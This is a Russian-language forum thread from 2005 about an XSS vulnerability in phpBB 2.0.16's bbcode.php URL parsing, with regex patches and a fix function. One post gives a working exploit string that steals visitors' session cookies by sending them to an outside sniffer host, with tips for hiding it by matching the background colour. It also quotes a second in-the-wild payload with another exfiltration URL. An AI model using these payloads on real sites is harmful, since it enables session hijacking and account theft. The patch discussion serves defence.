|
|
![](flycatimages/misc/snbg.gif) |
![](flycatimages/misc/tl.gif) |
|
![](flycatimages/misc/tr.gif) |
|
|
|
XSS tags в phpbb 2.0.16
| ![](flycatimages/misc/pcon.gif) |
#1 | ![](flycatimages/misc/postl.gif) |
|
06.07.2005, 20:54
Продукт: phpbb
Версия: 2.0.16 и ниже
Затронуты файлы: bbcode.php
Описание:
Уязвимость в phpbb форуме позволяет удаленному пользователю выполнить XSS нападение. Удаленный пользователь может вставить специально обработанную комбинацию BB тегов в сообщение форума, чтобы выполнить произвольный код в браузере пользователя, посетившего злонамеренное сообщение. Уязвимость может использоваться для похищения конфиденциальной информации пользователя (идентификатор сессии или куки).
Источник: http://antichat.ru/txt/phpbb/
Устранение:
Откройте файл includes/bbcode.php
Найдите (202):
PHP код:
$patterns[] = "#\[url\]([\w]+?://[^ \"\n\r\t<]*?)\[/url\]#is";
Замените на:
PHP код:
$patterns[] = "#\[url\]([\w]+?://[^ \"\n\r\t\'\`\[\]<]*?)\[/url\]#is";
Найдите (206):
PHP код:
$patterns[] = "#\[url\]((www|ftp)\.[^ \"\n\r\t<]*?)\[/url\]#is";
Замените на:
PHP код:
$patterns[] = "#\[url\]((www|ftp)\.[^ \"\n\r\t\'\`\[\]<]*?)\[/url\]#is";
Найдите (210):
PHP код:
$patterns[] = "#\[url=([\w]+?://[^ \"\n\r\t<]*?)\]([^?\n\r\t].*?)\[/url\]#is";
Замените на:
PHP код:
$patterns[] = "#\[url=([\w]+?://[^ \"\n\r\t\'\`\[\]<]*?)\]([^?\n\r\t].*?)\[/url\]#is";
Найдите (214):
PHP код:
$patterns[] = "#\[url=((www|ftp)\.[^ `\"\n\r\t<]*?)\]([^?\n\r\t].*?)\[/url\]#is";
Замените на:
PHP код:
$patterns[] = "#\[url=((www|ftp)\.[^ \"\n\r\t\'\`\[\]<]*?)\]([^?\n\r\t].*?)\[/url\]#is";
Последний раз редактировалось Soniks, 14.07.2005 в 02:19.
|
|
|
|
|
|
"Если бы вам удалось надавать под зад человеку, виноватому в большинстве ваших неприятностей - вы бы неделю не смогли сидеть". |
|
|
|
|
|
|
![](flycatimages/misc/pbbg.gif) |
|
![](flycatimages/misc/gl.gif) |
|
![](flycatimages/misc/gr.gif) |
|
14.07.2005, 02:21
забыл пофиксить 4-ю строку переправте, кто фиксил эту уязвимость и кто не фиксил ![Подмигнуть](images/smilies/smellie_wink.gif)
|
|
|
|
|
|
"Если бы вам удалось надавать под зад человеку, виноватому в большинстве ваших неприятностей - вы бы неделю не смогли сидеть". |
|
|
|
|
|
|
![](flycatimages/misc/pbbg.gif) |
|
|
18.07.2005, 02:11
это знакомо.
только теги отображаются под оперой, а под Ie нет. уже старьё.
И кстати, для этого скрипта надо подбирать цвет под фоновый формного сообщения. Чтобы не было видно его. Вот так уганяются аккаунты под phpbb. :) Если честно - полезная штука ![Подмигнуть](images/smilies/smellie_wink.gif) .
Последний раз редактировалось Cyrpheus, 18.07.2005 в 02:13.
|
|
|
|
|
|
<!-- Богам свойственно ошибаться, а их ошибки свойственно исправлять человечеству /--> |
|
|
|
|
|
|
![](flycatimages/misc/pbbg.gif) |
|
|
18.07.2005, 02:25
Эксплойт:
PHP код:
[color=ЦВЕТ_ФОНА][url]www.ut[url=www.s=''style='font-size:0;color:ЦВЕТ_ФОНА'style='top:expression(eval( this.sss));'sss=`i=new/**/Image();i.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]
Этот эксплоит отсылает куки пользователя на сниффер по адресу antichat.ru/cgi-bin/s.jpg.
Важно:
Весь код следует оставить одной строкой, т.к. перевод строки не допускается регулярным выражением в скрипте парсинга.
На месте ЦВЕТ_ФОНА следует вписать код фона в сообщении, применяемом в данной шкуре форума. Для стандартного subsilver это #EFEFEF. Это сделано для того, чтобы невооруженным глазом внедрение нашего сплоита не было заметно на других браузерах, где код хотя и воспринимается некорректно, практической пользы не принесет, а вместо этого выкенет в браузер длинную некрасивую ссылку.
Весь тест вашего комментария/новости следует писать выше внедряемого эксплоита, т.к. структура выходного HTML кода неправильна и весь последующий текст будет воспринят как ссылка.
После лечения вместо эксплойта мы получим
[error_url]www.ut[error_url=www.s=''style='font-size:0;color:red'style='top:expression(eval(this.s ss));'sss=#i=new/**/Image();i.src='http://wholesale.co.il/files/cook.php?'+document.cookie;this.sss=null#style='fo nt-size:0;][/url][/url]'
Теперь мы имеем защиту от "вложенных" URL в виде [error_url]
И запрет на использование ненужных нам символов, таких как обратные кавычки и т.д.
Теперь подобные шутки будет видно на раз.
Лечение:
Открыть includes/bbcode.php
Найти:
PHP код:
// matches a [url]xxxx://www.phpbb.com[/url] code..
$patterns[] = "#\[url\]([\w]+?://[^ \"\n\r\t<]*?)\[/url\]#is";
$replacements[] = $bbcode_tpl['url1'];
// [url]www.phpbb.com[/url] code.. (no xxxx:// prefix).
$patterns[] = "#\[url\]((www|ftp)\.[^ \"\n\r\t<]*?)\[/url\]#is";
$replacements[] = $bbcode_tpl['url2'];
// [url=xxxx://www.phpbb.com]phpBB[/url] code..
$patterns[] = "#\[url=([\w]+?://[^ \"\n\r\t<]*?)\]([^?\n\r\t].*?)\[/url\]#is";
$replacements[] = $bbcode_tpl['url3'];
// [url=www.phpbb.com]phpBB[/url] code.. (no xxxx:// prefix).
$patterns[] = "#\[url=((www|ftp)\.[^ \"\n\r\t<]*?)\]([^?\n\r\t].*?)\[/url\]#is";
$replacements[] = $bbcode_tpl['url4'];
Заменить на:
PHP код:
// matches a [url]xxxx://www.phpbb.com[/url] code..
$patterns[] = "#\[url\]([\w]+?://[a-z0-9\_\-\.\/\%\?\=\&\;\@\:\#]+)\[/url\]#is";
$replacements[] = $bbcode_tpl['url1'];
// [url]www.phpbb.com[/url] code.. (no xxxx:// prefix).
$patterns[] = "#\[url\]((www|ftp)\.[a-z0-9\_\-\.\/\%\?\=\&\;\@\:\#]+)\[/url\]#is";
$replacements[] = $bbcode_tpl['url2'];
// [url=xxxx://www.phpbb.com]phpBB[/url] code..
$patterns[] = "#\[url=([\w]+?://[a-z0-9\_\-\.\/\%\?\=\&\;\@\:\#]+)\]([^?\n\r\t].*?)\[/url\]#is";
$replacements[] = $bbcode_tpl['url3'];
// [url=www.phpbb.com]phpBB[/url] code.. (no xxxx:// prefix).
$patterns[] = "#\[url=((www|ftp)\.[a-z0-9\_\-\.\/\%\?\=\&\;\@\:\#]+)\]([^?\n\r\t].*?)\[/url\]#is";
$replacements[] = $bbcode_tpl['url4'];
Найти:
PHP код:
// Patterns and replacements for URL and email tags..
$patterns = array();
Перед ним добавить:
PHP код:
// [url...[url exploit checking...
$text = check_url_exploit($text);
В конце файла перед ?> добавить функцию:
PHP код:
function check_url_exploit($text) {
$offset=0;
while(true) {
$pos_open=strpos($text,'[url',$offset);
if ($pos_open===false) {
break;
} else {
$offset=$pos_open+1;
}
$pos_next=strpos($text,'[url',$pos_open+1);
$pos_close=strpos($text,'[/url',$pos_open+1);
if (($pos_next !== false) && ($pos_next < $pos_close)) {
$text = substr($text,0,$pos_open) .
str_replace('[url','[error_url',substr($text,$pos_open,$pos_close-$pos_open)) .
substr($text,$pos_close);
}
}
return $text;
}
Ну вот и все теперь жить можно спокойно ![Улыбнутся](images/smilies/smellie_smile.gif)
|
|
|
|
![](flycatimages/misc/pbbg.gif) |
|
![](flycatimages/misc/gl.gif) |
|
![](flycatimages/misc/gr.gif) |
|
18.07.2005, 03:19
методика хорошая и позволит избежать других подобных эксплойтов!
|
|
|
|
|
|
"Если бы вам удалось надавать под зад человеку, виноватому в большинстве ваших неприятностей - вы бы неделю не смогли сидеть". |
|
|
|
|
|
|
![](flycatimages/misc/pbbg.gif) |
|
|
18.07.2005, 03:30
хера вы ребята шпарите! и как вам это тока удаётся?????
|
|
|
|
![](flycatimages/misc/pbbg.gif) |
|
|
18.07.2005, 04:47
sid А чего тут сложного? Главное не шляться где попало, а сразу знать, что то что ты сейчас вобъёшь в голову, пригодится в будущем. Так что качай книги в PDF фомате или ещё что-то и сиди, читай и практикуйся. Время решает всё и главнее всего опыт.
Sory за offtop....
|
|
|
|
|
|
<!-- Богам свойственно ошибаться, а их ошибки свойственно исправлять человечеству /--> |
|
|
|
|
|
|
![](flycatimages/misc/pbbg.gif) |
|
|
18.07.2005, 12:31
сразу появляется вопрос!!!! почему в Pdf? мож где в Doc или Txt есть??????????
|
|
|
|
![](flycatimages/misc/pbbg.gif) |
|
|
18.07.2005, 12:44
Cyrpheus sid
Народ прекращайте Оффтоп ![Подмигнуть](images/smilies/smellie_wink.gif)
|
|
|
|
![](flycatimages/misc/pbbg.gif) |
|
Опции темы |
Поиск в этой теме |
|
|
Опции просмотра |
Линейный вид
|
Ваши права в разделе
|
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения
HTML код Выкл.
|
|
|
Часовой пояс GMT +4, время: 03:39.
|
![](flycatimages/misc/fl.gif) |
|
![](flycatimages/misc/fr.gif) |
|
![](flycatimages/misc/vbbg.gif) |
![](flycatimages/misc/botl.gif) |
|
![](flycatimages/misc/botr.gif) |
![](flycatimages/misc/botcp.gif) |
|
![](flycatimages/misc/botcp.gif) |
|